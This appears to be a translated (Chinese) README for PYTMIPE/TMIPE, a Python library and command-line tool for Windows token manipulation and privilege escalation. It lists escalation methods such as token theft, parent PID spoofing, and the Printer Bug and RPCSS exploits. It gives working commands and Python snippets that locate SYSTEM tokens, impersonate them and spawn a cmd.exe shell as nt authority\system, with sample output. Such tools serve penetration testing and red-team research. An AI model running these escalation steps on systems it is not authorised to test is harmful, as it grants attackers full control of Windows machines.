PYTMIPE(用于令牌操作和模拟以实现权限提升的 Python 库)是一个 Python 3 库,用于操作 Windows 令牌和管理模拟,以便在 Windows 上获得更多权限。TMIPE 是使用 pytmipe 库的 Python 3 客户端。
| 方法 | 所需权限 | OS(不完整) | 直接目标(最大) |
|---|---|---|---|
| 令牌创建与模拟 | 用户名和密码 | All | 本地管理员 |
| 令牌模拟/窃取 | SeDebugPrivilege | All | nt authority\system |
| 父 PID 欺骗(句柄继承) | SeDebugPrivilege | >= Vista | nt authority\system |
| 服务(SCM) | 本地管理员(若启用 UAC 则需要高完整性级别) | All | nt authority\system 或域账户 |
| WMI 事件 | 本地管理员(若启用 UAC 则需要高完整性级别) | All | nt authority\system |
| « Printer Bug » LPE | SeImpersonatePrivilege(服务账户) | Windows 8.1、10 及 Server 2012R2/2016/2019 | nt authority\system |
| RPCSS 服务 LPE | SeImpersonatePrivilege(服务账户) | Windows 10 及 Server 2016/2019 | nt authority\system |
以下 非完整 列表展示了 pytmipe 库中实现的某些功能:
尽可能使用 ctypes。 pytmipe 中重新开发了 pywin32 的许多功能,以避免使用 pywin32 以获得更好的可移植性。 但是,由于时间原因,任务计划程序模块仍使用 pywin32(更准确地说是 pythoncom)。 所有其他模块仅使用 ctypes。
对于 Python 客户端(名为 tmipe):
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
...
**
888888 8b d8 88 88""Yb 888888
88 88b d88 88 88__dP 88__
88 88YbdP88 88 88""" 88""
88 88 YY 88 88 88 888888
-------------------------------------------
Token Manipulation, Impersonation and
Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])
positional arguments:
{cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
选择一个主命令
cangetadmin 检查用户是否能获得管理员访问权限
printalltokens 打印当前线程可访问的所有令牌
printalltokensbyname 按账户名打印当前线程可访问的所有令牌
printalltokensbypid 按 PID 打印当前线程可访问的所有令牌
printsystemtokens 打印当前线程可访问的所有系统令牌
searchimpfirstsystem 搜索并模拟第一个系统令牌
imppid 模拟所选 PID 的主令牌并尝试生成 cmd.exe
imptoken 模拟所选 PID/句柄的主令牌或模拟令牌并尝试生成 cmd.exe
printerbug 利用 "printer bug" 获取系统 shell
rpcss 利用 "rpcss" 获取系统 shell
spoof 父 PID 欺骗("句柄继承")
impuser 使用凭据通过模拟创建进程
runas 使用凭据作为 runas 创建进程
scm 通过服务控制管理器创建进程
optional arguments:
-h, --help 显示此帮助信息并退出
--version 显示程序版本号并退出
对于 Python 库(名为 pytmipe),请参阅源代码和示例。 通常,我很好地记录了源代码... 大多数函数都有文档说明。
对于 pyinstaller 示例 和独立程序,请参阅 src/examples/ 文件夹中的文件。
如果您想知道如何使用 pytimpe 库,请参阅 src/examples 文件夹中的许多示例。
从 Python 客户端 (tmipe) 模拟第一个 system 令牌并以 system 身份获取 cmd.exe 提示符:
python.exe tmipe.py searchimpfirstsystem -vv
通过直接使用 pytmipe 库执行相同操作,请参阅 src/examples/searchAndImpersonateFirstSystemToken.py:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)
如果当前 Windows 用户具有所需权限,它将打开一个以 system 身份运行的 cmd.exe 提示符。
当然,您可以从此源代码通过 pyinstaller 创建独立的 exe 文件。
获取当前进程中使用的令牌(主令牌和模拟令牌):
python.exe tmipe.py printalltokens --current --full --linked
输出:
- PID: 3212
------------------------------
- PID: 3212
- type: Primary (1)
- token: 764
- hval: None
- ihandle: None
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-32-544
- Groups:
- S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
- S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
- S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
- Privileges (User Rights):
- SeAssignPrimaryTokenPrivilege: Enabled
[...]
- SeTrustedCredManAccessPrivilege: Enabled
- issystem: True
- sessionID: 1
- elevationtype: Default (1)
- iselevated: True
- Linked Token: None
- tokensource: b'*SYSTEM*'
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Default DACL:
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
- {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
[...]
- Mandatory Policy: NO_WRITE_UP
获取当前线程可访问的所有令牌,按 PID 组织,仅当模拟可能时:
python.exe tmipe.py printalltokensbypid --imp-only
输出:
[...]
- PID 4276:
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
- None
- PID 1660:
- S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
- S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
- S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
- S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]
如果您想使用 pytmipe 库执行此操作,也很简单:
from impersonate import Impersonate
from utils import configureLogging
configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)
您可以模拟选定的令牌。
第一步,根据您的过滤条件(system 令牌和当前线程可模拟的令牌)获取所有令牌:
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}
输出:
[...]
- PID: 2288
------------------------------
- PID: 2288
- type: Impersonation (2)
- token: 2504
- ihandle: 118
- sid: S-1-5-18
- accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
- intlvl: System
- owner: S-1-5-18
- issystem: True
- elevationtype: Default (1)
- iselevated: True
- linkedtoken: None
- implevel: Impersonate (2)
- appcontainertoken: False
[...]
- primarysidgroup: S-1-5-18
- isrestricted: False
- hasrestricitions: True
- Mandatory Policy: VALID_MASK
- canimpersonate: True
[...]
上述输出显示了一个位于 PID 2288 中的模拟令牌(ihandle 118),其完整性级别为 system。 可以通过以下命令模拟此特定令牌:
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv
上述命令会以 nt authority\system 身份打开一个 cmd.exe。
使用 pytmipe 库也可以做到这一点。 以下源代码模拟第一个可用的 system 令牌,打印有效令牌,然后停止模拟:
from impersonate import Impersonate
from windef import TokenImpersonation
allTokens = imp.getTokensAccessibleFilter(targetPID=None,
filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
_useThreadMethod=False)
if allTokens == {} or allTokens==None:
print("未找到可模拟的令牌")
else:
pid = list(allTokens.keys())[0] # 使用 'allTokens' 返回的第一个 pid 的第一个令牌
firstIHandle = allTokens[pid][0]['ihandle']
imp.printThisToken(allTokens, pid, firstIHandle)
imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
print("模拟后当前线程的有效令牌:")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
imp.terminateImpersonation()
print("当前线程的有效令牌(模拟已结束):")
imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
如果您想通过捐赠支持我的工作,我将不胜感激:
BTC 地址:36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf